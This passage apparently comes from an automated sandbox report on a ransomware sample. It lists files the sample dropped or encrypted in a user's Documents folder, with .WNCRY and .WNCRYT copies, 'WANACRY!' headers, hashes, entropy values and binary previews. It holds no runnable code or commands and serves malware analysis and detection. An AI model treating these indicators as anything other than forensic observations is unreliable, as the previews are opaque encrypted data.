                                    SHA-512:DDAE78882CB2AEC957BF1D9E82E3976A5785F250A8C9BDBBAC92774E066837480665C1A81537342CF721C6E9EFF19594F1F51BB8527BF4D5369439D3BC57F7AE
                                    Malicious:false
                                    Preview:WANACRY!....-%_)....4-.%.80......:..NX\....w.K...4V.Z.,.....9.oj......o...VmD...D...'..-.D..$L.F>...&..".T.......Eo.P.;...vg.QR..5k...A/.T'..p.+K..l.1..:|.@uOY.(.u.J.62.,.%'*.].%...J.q..$..M.'O...........-...#.Sz..F.C.t+l*..m..a....L.>..D"x..............F.............j...j3%.lc.On.k..Z.o,jqh.dh>:.....d..$.s.w ......7.e..iu.t8..t.8.....y.I.3....vk...........d'.%F..,.y)R......`...FJ.Hf<.]....5..{..F.....!....5s...B..j.x.nbU^&.QN.0..r..(....P..2I.7.yc.^!....%...I.Q..#*.p_.ZD...bB.._....W...(.WFl...=[WH>^.ld.V5....;..E@.......G8..{@l./.......iC.....!.e<r.L$3....|."7K.9..w.......R....3m...s.Z.u...V.WnF.u^..o.Y{D.,....e.=.:h71.3x7.. ...)..r;.....;.j.Rv.6jrR....q.u.H.r.k ....T..y2K.....=..3S.2....6..:..f..9'......kK<....-...T..a.l.Fn...%..4...|.....>...'.4..B^0}. .! ....>i.6..~an.S..jS....6..'.D`Z.u..n......u.O}.A.-..2..........o..%.>.....Q.bS..44.g.8elE...=....0..t.R.7...k.5....7.....-,. b...*...9-....[..9e:.~.....'....?.....R.{x.n...h]...z.M......

                                    C:\Users\user\Documents\LIJDSFKJZG\BXAJUJAOEO.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.799744202713175
                                    Encrypted:false
                                    SSDEEP:24:yHLftfv9LaldaMFYDaD4WkSXFiCti7mf1MwI1umqGvj6jQ8wnFj:yHpGdtxi41xCuJjwFj
                                    MD5:4F5B29472E427D3700E8D8EDCE8F19B8
                                    SHA1:C161138889A2F91B41F5E96ECE10117337740547
                                    SHA-256:85E83979626ADE1D89BFC04EAC3BA2687EC4B59944F6EB5DD1A8AEFB54BB9209
                                    SHA-512:243ED157C989245EF59389F4E38DDBAC52C8AD6D94FF538079816CB3BC8FAA72AE0CF47E35B90EBB3B973865478A670F003F35966414AD6C5D74BC4CF341359C
                                    Malicious:false
                                    Preview:&...,.|fa.....d.>j.R7...M.7XY..v.T7....6f.Wh.J.....'vM=#.T~nH..~K..{.*.:.9'.G#....$...Y].f.^;.F...$.k./<UK.)Q.%su.?.....x...77`.z9...m..4.O]{.j...U.N.H.a..jSB.;...Q.hT0......J*.f[.e.i.C. ....+%..b.7?*./....j.".I.G....p.z..u...>..."...Q|.[....tq.N....x..-.3...5.x`.@sp.s...t...o...DW..).P..Z!.Gt.Y.+C.%....{.t...M0......E.|.......7/....>.....,.9..;.">o.....AY6o\c.4e4r&g.........\wQ.V.mt....`.K..,....p.1..T......3.I.S%25<F...6..Q.0..e..CL....|>.%..4z.. .$.$..Vy..gmpRT.@.2x.G.~..*...TL<...5._Y^.inl.#..:I..q.t6Zm..O.....p.G.g...hp6.....8/.%a..6...X6(....@......./n......=8...9...y!...o.;..u..v~.)j...._.@..1.GL...o.'.i.m..8..._`....FJ../......+...F$..`..\8.4.r...w.[2w.m...jt.2.!.(. ..7.q2.J..e.Y..2....%?.{tw~.S...&X....N.K*...=p._ ..'.g..M6.....`..[}mW.R..|<\!..I..@;...OQ_.jU[*.....3...,(..O....`.J...E..V.....V.......2.q.IS5....o.B........F_T.........Z2....x......4.*......k$....p..M$.}%...zX..~M<..+9.0....>.Q.i1.s`U.`..!....8.|.c.....k

                                    C:\Users\user\Documents\LIJDSFKJZG\BXAJUJAOEO.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.848031557817088
                                    Encrypted:false
                                    SSDEEP:24:bkVblMkabaCI+71Z+KB6EaaOfaWUmL8bJEHs0uWe+vVOKxWJH:bkdGfaCt71AK/aaQaWh8bss0heeFEJH
                                    MD5:8D3D3D45490B59177DB29FED38F1D5CA
                                    SHA1:424D6AEC2E71686C637AD84C50EFC387983680ED
                                    SHA-256:7D7D2148752E283EFC40FE35FDB550666710BCB3B3D5E530AA6318B662FB8175
                                    SHA-512:3BFDA94CA366CFC7D09C8067792D926D5377A87260069076A9A22C44E1BC988685D9091EA68FF67C1CCB6B891367E92F851E125D154E78C072960B95F3593ADE
                                    Malicious:false
                                    Preview:WANACRY!...."...X6D.J....w.!5....s...{.........mE..We.....{.O.5.....1.......c_.k.<.W.Kb.&.....,.....t...GUO..]yu9._r...g5G=U.[.'..gA.4...".I.......F...j...+.6z,..qs....wG.....^`y..N.0z..?.?.k(..m..2.......T...D.N.k9.`..v/m.CY.....c9;d.uj.Q........K..@...dP...............<....{Jl.........-\....}.s.iL......-U.c.O..e.f...v.Z..4.L'..IXK./SfK...z.2j....f+^.^.-z_..H....(\:.9..%.Rd. t........?.=..2;+|...s.o.`..f+.f)I.T.+t.>...p....KQ`.B.A......1H..t?^ 6.CR...x.j.*r.....`..bq|..L.......d...+u....Z..p...k..K..).Q!8.J......=.t...>...].*......i..;t.d.#..T..Q.E#?.lh]u.m...Hx......6.xC..kJ?..R......mL....{.:yIG....F...C_..=W....g..%f.8.z..#..;F. ....k..AZ1..f.b.a.r.IlyJ..4U...G}.5.8.C.#.`.#[.4.v.i....s......D.`F....nOl\`..lJv......2 .....)s.X.0]v.9.;.Y4.t...=.,.0.3Y..(....8...28Ni.^.q.T....b.%C....+X....f...0...w;VJ..../`W@.m..".? @..f.%...9H)...Z..k.'.^|.....k.I..M.w.X>'...f.."...UC..d.....r...wW.O...........1..~.0.@].R.B..Q..rF.,Z..M.._.Y?...&.'.q..Y..aG...Q.

                                    C:\Users\user\Documents\LIJDSFKJZG\BXAJUJAOEO.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.848031557817088
                                    Encrypted:false
                                    SSDEEP:24:bkVblMkabaCI+71Z+KB6EaaOfaWUmL8bJEHs0uWe+vVOKxWJH:bkdGfaCt71AK/aaQaWh8bss0heeFEJH
                                    MD5:8D3D3D45490B59177DB29FED38F1D5CA
                                    SHA1:424D6AEC2E71686C637AD84C50EFC387983680ED
                                    SHA-256:7D7D2148752E283EFC40FE35FDB550666710BCB3B3D5E530AA6318B662FB8175
                                    SHA-512:3BFDA94CA366CFC7D09C8067792D926D5377A87260069076A9A22C44E1BC988685D9091EA68FF67C1CCB6B891367E92F851E125D154E78C072960B95F3593ADE
                                    Malicious:false
                                    Preview:WANACRY!...."...X6D.J....w.!5....s...{.........mE..We.....{.O.5.....1.......c_.k.<.W.Kb.&.....,.....t...GUO..]yu9._r...g5G=U.[.'..gA.4...".I.......F...j...+.6z,..qs....wG.....^`y..N.0z..?.?.k(..m..2.......T...D.N.k9.`..v/m.CY.....c9;d.uj.Q........K..@...dP...............<....{Jl.........-\....}.s.iL......-U.c.O..e.f...v.Z..4.L'..IXK./SfK...z.2j....f+^.^.-z_..H....(\:.9..%.Rd. t........?.=..2;+|...s.o.`..f+.f)I.T.+t.>...p....KQ`.B.A......1H..t?^ 6.CR...x.j.*r.....`..bq|..L.......d...+u....Z..p...k..K..).Q!8.J......=.t...>...].*......i..;t.d.#..T..Q.E#?.lh]u.m...Hx......6.xC..kJ?..R......mL....{.:yIG....F...C_..=W....g..%f.8.z..#..;F. ....k..AZ1..f.b.a.r.IlyJ..4U...G}.5.8.C.#.`.#[.4.v.i....s......D.`F....nOl\`..lJv......2 .....)s.X.0]v.9.;.Y4.t...=.,.0.3Y..(....8...28Ni.^.q.T....b.%C....+X....f...0...w;VJ..../`W@.m..".? @..f.%...9H)...Z..k.'.^|.....k.I..M.w.X>'...f.."...UC..d.....r...wW.O...........1..~.0.@].R.B..Q..rF.,Z..M.._.Y?...&.'.q..Y..aG...Q.

                                    C:\Users\user\Documents\LIJDSFKJZG\LIJDSFKJZG.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.7940667624721325
                                    Encrypted:false
                                    SSDEEP:24:FUG03nmJ1RSPAj5wAiaFmN2d2+0bJGcW2FBuHR2DJ:FUGInmMPYhUBbbJGPeBux2DJ
                                    MD5:F4A7E3F26E80DCAB1AFEF5C8D5D5879E
                                    SHA1:0A4C3A678D1148ACF95EDAC499951AA30DFBE848
                                    SHA-256:94C89C7B018A14FC0AF96A0A17EBC64CE53E85688D8956D61A39D1E45051675D
                                    SHA-512:4A524FCAFFC86CD4D14A1F874077D46686B3B76BB81F907AC726877955ECDED03F0BE20BCDCE052AC45474CAFFDDF820E990B2C2CBD66CB37FCE45A7391D696E
                                    Malicious:false
                                    Preview:...k..cP.q.@J..[....M=..d.M...........0.)....kwie..s^}. .G.k.L.b..T.v9......z........0K..'r....Z..S.oq=.....WY..u...Y.+..3.Lc...H8...i.a..|.m.>...'..k.....t.N.F`n|...!i.!.8h..*.#..X2../2Ng7......)G..*......x.Z...X. 3.M......^.E.".b...V2..w..J.e.'..O.........x...R.8C.}..:W...h.yAv.../G.!w]...ni`ae..._.....'........z.T:g5......N...s?.a.I{..V...y.i..;...eL<5.h...g.Y['p.e.X...>%..F dY...f..V...g`..t..y...o.Tj...qC7.W...6.....G.........[]!.r.g..TZun:{Z.Hlry.9.[..B...A.....t....V1.i}u..n.d...."H.F..E.x<....Z.u&E!x.......c.-...........i.<1.T|.|K.7.5....DP_.O..@S....I>T'_|.>m.......D........7.'.j..5R..9.!..\.7......6..tEa...2iKdF..*.t. "...V..d..a........$....>..9.|..A..h[..FQ.@.x...TF....=....~..'F..............{td.'...7!7..?2...=.X.....aL.O....5Xx.=...}]S."........D...@...8Bn)......l;.......... 7.LV^..C..X.=g..K..P..w..l....oqE&#..:..J.W.#......jn.A......T.m.cx...Y.GW......r.3......F^..^....N....~.@i....N.*~../..3 .=I.{]m.g......n..x....>.?;e&yK..

                                    C:\Users\user\Documents\LIJDSFKJZG\LIJDSFKJZG.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.862638103111812
                                    Encrypted:false
                                    SSDEEP:24:bk+JHrcEUeDphHCRRkTEqWvGohqzaaGgjcDnOKKZsUM2o/rT2JHnDTrW:bkAgEUekRO2vGUqnveMsUM2mT6HnrW
                                    MD5:B65018A365D41046C3B2381317EAFE10
                                    SHA1:F95BECCE9C58C9BE4D9DAC936C0EDE4EFD55F27A
                                    SHA-256:143C83CD7FB5CE026629880F353E97FAD51D6DEBF5600D64B943BD5825A06E81
                                    SHA-512:24C1103548290EDEA392338D8545EDE0DC5ADF8408D8723E81CD3529AC66D6549567D99534EF4541DE174BCEE7B6A77D0C0DD3BA603EB1295DEB0A315CE314F0
                                    Malicious:false
                                    Preview:WANACRY!.....~.v.T.......d..L.uZ...W....2..O.=kb+9t....!.M<...W..z.X...C+....:..'.M.!+.6K....g..Q1V....?k....@.`=......l.9u].qP...(8.ZUO.../V.7...qM...b.IR.......F.`.N.ZC.UX..|..%f.........k..Q...AL.$QO{.P...A..nT=...dy2KF.;....p....._....R.k,.....XZ.....<0.............g..G..J.f.XR.k.*0......."....9..4.s?.2.,e.|t...`.......T..ql.......O......#.t....[N..u%r.B........15.g.).....K..a .@Z}.....Q<...LH..<.._,..T.H.G4.:...J.w.d..xW..c....6Q..qq.}...kR.!.@.AmT.p%..!..#3.c:...-/..B...........D.$.9...\.S.}....>..'.Jm:......x..N.bI..u..^Bm).e..j....|..Qq.E.O5...L|...u.L.D...(b..n5...........o......L...P.%.&"V5.1JP]...B.a......'Z..d.])m.....<.I..pX...I.[A}T...F.. ...Y...{}...$.........Uq..L..m...X..O..ww._-.9B..#.....!.EzeG:6tg...c...VK.....+....K<&.c..T.n.'r7..4...#..0...hd.\.:].'..P..NR..^E.).[.a..1+..#1U..co..=..WJ(Tb....I2..R02x..M.,.(a]M@..,. O.9...#.E.l.......Kh.QH3...hw4.|.....3=..9....lZ....i..F.+.zX$..`C@+Wfw.....M....(.....d....N@.....t..B.

                                    C:\Users\user\Documents\LIJDSFKJZG\LIJDSFKJZG.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.862638103111812
                                    Encrypted:false
                                    SSDEEP:24:bk+JHrcEUeDphHCRRkTEqWvGohqzaaGgjcDnOKKZsUM2o/rT2JHnDTrW:bkAgEUekRO2vGUqnveMsUM2mT6HnrW
                                    MD5:B65018A365D41046C3B2381317EAFE10
                                    SHA1:F95BECCE9C58C9BE4D9DAC936C0EDE4EFD55F27A
                                    SHA-256:143C83CD7FB5CE026629880F353E97FAD51D6DEBF5600D64B943BD5825A06E81
                                    SHA-512:24C1103548290EDEA392338D8545EDE0DC5ADF8408D8723E81CD3529AC66D6549567D99534EF4541DE174BCEE7B6A77D0C0DD3BA603EB1295DEB0A315CE314F0
                                    Malicious:false
                                    Preview:WANACRY!.....~.v.T.......d..L.uZ...W....2..O.=kb+9t....!.M<...W..z.X...C+....:..'.M.!+.6K....g..Q1V....?k....@.`=......l.9u].qP...(8.ZUO.../V.7...qM...b.IR.......F.`.N.ZC.UX..|..%f.........k..Q...AL.$QO{.P...A..nT=...dy2KF.;....p....._....R.k,.....XZ.....<0.............g..G..J.f.XR.k.*0......."....9..4.s?.2.,e.|t...`.......T..ql.......O......#.t....[N..u%r.B........15.g.).....K..a .@Z}.....Q<...LH..<.._,..T.H.G4.:...J.w.d..xW..c....6Q..qq.}...kR.!.@.AmT.p%..!..#3.c:...-/..B...........D.$.9...\.S.}....>..'.Jm:......x..N.bI..u..^Bm).e..j....|..Qq.E.O5...L|...u.L.D...(b..n5...........o......L...P.%.&"V5.1JP]...B.a......'Z..d.])m.....<.I..pX...I.[A}T...F.. ...Y...{}...$.........Uq..L..m...X..O..ww._-.9B..#.....!.EzeG:6tg...c...VK.....+....K<&.c..T.n.'r7..4...#..0...hd.\.:].'..P..NR..^E.).[.a..1+..#1U..co..=..WJ(Tb....I2..R02x..M.,.(a]M@..,. O.9...#.E.l.......Kh.QH3...hw4.|.....3=..9....lZ....i..F.+.zX$..`C@+Wfw.....M....(.....d....N@.....t..B.

                                    C:\Users\user\Documents\LIJDSFKJZG\PWZOQIFCAN.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.791090798968065
                                    Encrypted:false
                                    SSDEEP:24:wxnL41GQK4orCria3z7Kv0VnGdYOz8BzpXH4ADJMABVFtL22H:iL4sEvfKvGyUpXH4mMd0
                                    MD5:564A26F914AFC7DEB4E0E28339904044
                                    SHA1:68F082FE1C2C43C92024651CCF188A433B9DB7D7
                                    SHA-256:7F5B445F1809271201542300938DE8885CC74D79D5D0E18BA86FF5C625DC1133
                                    SHA-512:E5059430C743C09414AC17A1D83C105AEF1DA549FD80CE0550D8604DB49B668724A9DEE1561776A875A9534CBA8C5B0DB66E984049E564DCAB8BD2F21A336D7D
                                    Malicious:false
                                    Preview:...jT.c,Jn..V..>.......@_+.%../..l."..Z&..k-.tfZq.6.W..{.N\..D.....).2.c.1......W.....(..T.=.=.h....2........n..k......T.g@Ngk.(......l6.....J.p...t...l^....@..:U..;....k1.Ac..uw.".?,V@.*..P...&%.r2..|.a... ......ll..Wh'.h.;f.(....}F.-.V..Y.k8.....U..m.a{ve.9v.d|.....7S..@.!.......g...K..;..}k...P...f2.....n.>......>..bw.C..PM.$.Y......F...P.....X%zn.W..Q.x......1.!.....m_......`y.a......pq.f.X...t..O.J..e6$....f... %+&....`'.9V6d.......d...6..;.Ai..z,.@.......T..`$.H....slZ.9.......uD...X*l.k4.D4M..uW....~V.Q.0.5.u[.j3"@......1......A.#.{.....e[.b,..... T.5.Q{R...5#. L)A....A.Q(b...s..:J....O....e>.1.o..q.f...KY.Q.....U.*eJ...o....*..]yV.#[`.q..@9)y'.....U.h".3...1..";...t......vl.Q...|.rO.(.HR..."^.t.H....cX..J.j_....W:r.x.iGK.q+l...~..!!L.W.E...~Sf........;....r.ef9.._....)kP..J......ePGG9..z.j...2)./*G..@...&.. |%.M4z..D8.)w.{..c.).b.i.WgA<._....q.....Ys7...J.n;...&.,,.L.!...i........ ..B.z......2.....;f....S.wZ.$...xO..

                                    C:\Users\user\Documents\LIJDSFKJZG\PWZOQIFCAN.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830720629725924
                                    Encrypted:false
                                    SSDEEP:24:bkQC8/rgeIHbgfOQuCLqYRIt6h1EkGWQJzqi8DwdPb+He0:bkuctUrugdhiWQknSv0
                                    MD5:92A1BA2B62D946B4EF810AB1943EB7DF
                                    SHA1:7644DE086DE33664E94A2A063606997BAA7C9F5B
                                    SHA-256:DC12E65E02796A69F8B5383FF7A9428BF4A393570618520246DC422C245CA53F
                                    SHA-512:592DAE8C8F457022F502DB42391DBDFF9D2B5C838F85255DF998A13DFAAC6A6E7B17C54840A769CDEA91BB70DC27D3179109675ED566B01706C6DC4197447FF6
                                    Malicious:false
                                    Preview:WANACRY!.....}...]..r.W..u.&...d.'.G2..&pRZn..r.b..\g..y.(7.u.m.x..r.pq.;.....J.f.U......-.UL.QPI..4=....)...Z.:v..=.f'.&7;.......#.!...c...'.....AE...K.....%......J..{`..>..K..F..kD|..hr...{...X..x....c../.Z....:..N...2z.W....S......4m7...2.Ti.s...F\..9..0 ................%..._..\.Y.2..`.i^w...Sx....A...]7.Y.D`_.t.....u..i.d...u.$I.......SiM].Xl>.?.9.....=AD7.L....@.>3...t......+^....g...L.....azi."..M....2%........;<...:p./P.c....E.`....2.c/.x..#..ei.#._........JWF" .+ ..'DT...W..y.&.Ck.P.Z..G.%I.^..P...h#.nKz.bl..|.4.G0h.....G......OH/...6.Wf...p..J......k..A.W@.%q.AvF^...+s'...L..<..2c.9#.Wd[..!......6.....~.p..(...>./"Y.Y.".p......Y.JO...>f.N../..R.q..H.@./.4.".........z..G..D/....O.9.+.........:&...Z..yO!1..............f.+......u7[n.S=.4.?....qC*\..Gi!u9YF..f..>.....}#..l.....<Z.%.....s]@I.b......D7.^.dd.V.1R.........1...+..).O...D....:....v%.....ZL<V...O......`<,..~a...={d...Je.4..xmAsFq..d.yz.g..W..A.]-1R?..BB.jS..H..#.`......#O.m.b...]

                                    C:\Users\user\Documents\LIJDSFKJZG\PWZOQIFCAN.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830720629725924
                                    Encrypted:false
                                    SSDEEP:24:bkQC8/rgeIHbgfOQuCLqYRIt6h1EkGWQJzqi8DwdPb+He0:bkuctUrugdhiWQknSv0
                                    MD5:92A1BA2B62D946B4EF810AB1943EB7DF
                                    SHA1:7644DE086DE33664E94A2A063606997BAA7C9F5B
                                    SHA-256:DC12E65E02796A69F8B5383FF7A9428BF4A393570618520246DC422C245CA53F
                                    SHA-512:592DAE8C8F457022F502DB42391DBDFF9D2B5C838F85255DF998A13DFAAC6A6E7B17C54840A769CDEA91BB70DC27D3179109675ED566B01706C6DC4197447FF6
                                    Malicious:false
                                    Preview:WANACRY!.....}...]..r.W..u.&...d.'.G2..&pRZn..r.b..\g..y.(7.u.m.x..r.pq.;.....J.f.U......-.UL.QPI..4=....)...Z.:v..=.f'.&7;.......#.!...c...'.....AE...K.....%......J..{`..>..K..F..kD|..hr...{...X..x....c../.Z....:..N...2z.W....S......4m7...2.Ti.s...F\..9..0 ................%..._..\.Y.2..`.i^w...Sx....A...]7.Y.D`_.t.....u..i.d...u.$I.......SiM].Xl>.?.9.....=AD7.L....@.>3...t......+^....g...L.....azi."..M....2%........;<...:p./P.c....E.`....2.c/.x..#..ei.#._........JWF" .+ ..'DT...W..y.&.Ck.P.Z..G.%I.^..P...h#.nKz.bl..|.4.G0h.....G......OH/...6.Wf...p..J......k..A.W@.%q.AvF^...+s'...L..<..2c.9#.Wd[..!......6.....~.p..(...>./"Y.Y.".p......Y.JO...>f.N../..R.q..H.@./.4.".........z..G..D/....O.9.+.........:&...Z..yO!1..............f.+......u7[n.S=.4.?....qC*\..Gi!u9YF..f..>.....}#..l.....<Z.%.....s]@I.b......D7.^.dd.V.1R.........1...+..).O...D....:....v%.....ZL<V...O......`<,..~a...={d...Je.4..xmAsFq..d.yz.g..W..A.]-1R?..BB.jS..H..#.`......#O.m.b...]

                                    C:\Users\user\Documents\LIJDSFKJZG\WHZAGPPPLA.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.7925158714008615
                                    Encrypted:false
                                    SSDEEP:24:PdDySorN6l+dRdcovD9pxFKuX8DCHjtvPU+QZ76+sR7KXVs:P5h80MXdcovD9DLXzjhPBQ1PWGs
                                    MD5:27A20212AE26FE3A7DAB8A76515CA192
                                    SHA1:027C38BB20CC8AD9161ED98121275C490DD09DCB
                                    SHA-256:1690C4E4D5FE7A0AEEA41460ECD5289ABB84AFA56E9B9106A9399494BCFAF8A5
                                    SHA-512:04364EE3667BC99EE31989B6009D53A0666F64FD7E11CA62DBA938CAD492351D43D71871EB7ECA8FFAFE514700B76ADEDCF53F563C68A152BA5AFC6F47EBA699
                                    Malicious:false
                                    Preview:..1..e.X.........IJ8J`hZ.+K..o....^M..g.o..._.$`0...?;.A.H......]......C....,.....v..Pe...;.G/........?N!...Y...b.n.q.W..yk...m[N."I.j......_3.O($>>...._B..T.E..v.(.o.....4...e.J...n.N[.....(.h.<.....P.g".f...J........O../...{{O...w.K.\...>....{.;WS8..;..=..P1....Q.x.......UgS.Z%.6x.+...y4...x.......(.;..~.gz...U.Q...oA.oG.x\.2X.t.8......l.g&.9....ft..kL.N.R&......6m.k.........../x.......KL.;...H.........n...Bw..a.V.."....."|...w..Q\..3...c.l...C.T._.=......^...H.W..0....s....U..Wb..d...{P......!m.~/.x.l|...&.}....`.j0,s..Y..[aP..k...H.a....k..8t.....F.Q...bX.h...H.V..h..$Ql.8...$@.&S#..e..}C.%\........mQ..n.m.}G..d.J.dtPf......[..W.6.....B..c.....{...[..G.k..As.x2H.}.s....*t.j._.....J2....(t...UP..O.v....."..t~.y..h..........9d.....h..=&.p..g..Q.cD.....7.8O ......w..'A...R.*..O#......*6..ZH. J&..+.......X...2#...P.#......t<D...}.x..%....7...[Z..3t.a%..u...W.{.......c....9J.%....d....Y.o...B..y...!M0.ujIf.q...\."....d.LEl0..U"=s"$.....z.

                                    C:\Users\user\Documents\LIJDSFKJZG\WHZAGPPPLA.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.856000807588838
                                    Encrypted:false
                                    SSDEEP:24:bkULR6u2rjY4NJtNlGH/Pw3GcNDVCdgNp1PsSR7vxuJW75EyuR5:bkG6uE9NW/Pw3GclVAuYYuJWNHuR5
                                    MD5:F2CA5427FE7F8EBCBC8BBB82CCCB4794
                                    SHA1:FC776B5B1C0E4E050587E5F5948B03B6F848F127
                                    SHA-256:7AFDA071F83BBD46C236552EA2B55F1312D9299C882954CBF1BF81D9F67032D4
                                    SHA-512:247114EE5D29957DEC7000D50A5CE5BCF04E7D95EC28D8819743C1B6614E244834DEA58AC9ACAEDEC52B8486781A5139D45D4EF04C362E5357F2E313AFCE72A9
                                    Malicious:false
                                    Preview:WANACRY!....K..3...t...n;.9.....06.Q@.dUF;@.......?<wXV.~-j.B}./...3......JkB.cf+.I..)..kf.Y..ZEO..Y@..<..Y.....).[........DIF...9.[Tf..^S.2..a.....F(.NI(..../.l.......c.A....M.3.&8y.....|.'..]......OV.E$... .[..9u.'<.&1I.D...T(.u..)...l.....9.b...TDk&(.2F............c\...4..A$.mH.....F.53+..).Q.OA..h4.....s..(:jMH.....rX...n ....T.Y.{...vd........&.....Yq..=..x.....{...v..M.k.v..;@.....RN;..)......+..K.c:..o...ns....}d...Y..o...c.\.@.#.3......../..E@j....x-.0.S.'.....`.........\..q..4..Z..]8.^7.[...7...x...?U).......z...`.:Gj.n!....B8e..O..8...3..k....;$.T..W."pb....T....R.. ...3....u%..P".`o`l.i.Ix..W..ew....S..N_.Lz..xv.\A....]$....HA..u.2<..aS..US........m..+.......&.67m/.(+..`. 7W... p..Jq...../W....[y3.......:..M.m<.G{..e~...Q...wk.g.......H?.|&...........s....Z...>.>...{g5.Z.(..j...Y#...2U....y.....x.o.....*./.}xSD..........+{...P....<..e?..GI...".L......;%.{..9.M.....m{2...Y.=x..m..~(...o..q.A.]...^.bu>.y..B|3..M.:.b..2.T.....P

                                    C:\Users\user\Documents\LIJDSFKJZG\WHZAGPPPLA.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.856000807588838
                                    Encrypted:false
                                    SSDEEP:24:bkULR6u2rjY4NJtNlGH/Pw3GcNDVCdgNp1PsSR7vxuJW75EyuR5:bkG6uE9NW/Pw3GclVAuYYuJWNHuR5
                                    MD5:F2CA5427FE7F8EBCBC8BBB82CCCB4794
                                    SHA1:FC776B5B1C0E4E050587E5F5948B03B6F848F127
                                    SHA-256:7AFDA071F83BBD46C236552EA2B55F1312D9299C882954CBF1BF81D9F67032D4
                                    SHA-512:247114EE5D29957DEC7000D50A5CE5BCF04E7D95EC28D8819743C1B6614E244834DEA58AC9ACAEDEC52B8486781A5139D45D4EF04C362E5357F2E313AFCE72A9
                                    Malicious:false
                                    Preview:WANACRY!....K..3...t...n;.9.....06.Q@.dUF;@.......?<wXV.~-j.B}./...3......JkB.cf+.I..)..kf.Y..ZEO..Y@..<..Y.....).[........DIF...9.[Tf..^S.2..a.....F(.NI(..../.l.......c.A....M.3.&8y.....|.'..]......OV.E$... .[..9u.'<.&1I.D...T(.u..)...l.....9.b...TDk&(.2F............c\...4..A$.mH.....F.53+..).Q.OA..h4.....s..(:jMH.....rX...n ....T.Y.{...vd........&.....Yq..=..x.....{...v..M.k.v..;@.....RN;..)......+..K.c:..o...ns....}d...Y..o...c.\.@.#.3......../..E@j....x-.0.S.'.....`.........\..q..4..Z..]8.^7.[...7...x...?U).......z...`.:Gj.n!....B8e..O..8...3..k....;$.T..W."pb....T....R.. ...3....u%..P".`o`l.i.Ix..W..ew....S..N_.Lz..xv.\A....]$....HA..u.2<..aS..US........m..+.......&.67m/.(+..`. 7W... p..Jq...../W....[y3.......:..M.m<.G{..e~...Q...wk.g.......H?.|&...........s....Z...>.>...{g5.Z.(..j...Y#...2U....y.....x.o.....*./.}xSD..........+{...P....<..e?..GI...".L......;%.{..9.M.....m{2...Y.=x..m..~(...o..q.A.]...^.bu>.y..B|3..M.:.b..2.T.....P

                                    C:\Users\user\Documents\LIJDSFKJZG\WSHEJMDVQC.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.772250317992484
                                    Encrypted:false
                                    SSDEEP:24:Zpa5CcMKIc44frWV43OPPuSuXj+xYL0RmuM5mSkyeedt:ba5EKPf/3OPPuS0L0Ed5mSReY
                                    MD5:D92A69D6AB071C82647D2A9093A18C5A
                                    SHA1:A9DC400492DE1B6879193872261A8F020FDCC4C0
                                    SHA-256:6ADFA72DFEE362FE27A751EE03F3675B75B5BA3AD4BE0652837734E2CBDE48E2
                                    SHA-512:BCC7BF355BE383526DA4190F7B0B0891DEE3BC3ECBF435802294D7371D9AFDAC5D49223FAB2FBF36AC064A56B986BA3363CC1C6DEE37557C485D782F90A7902D
                                    Malicious:false
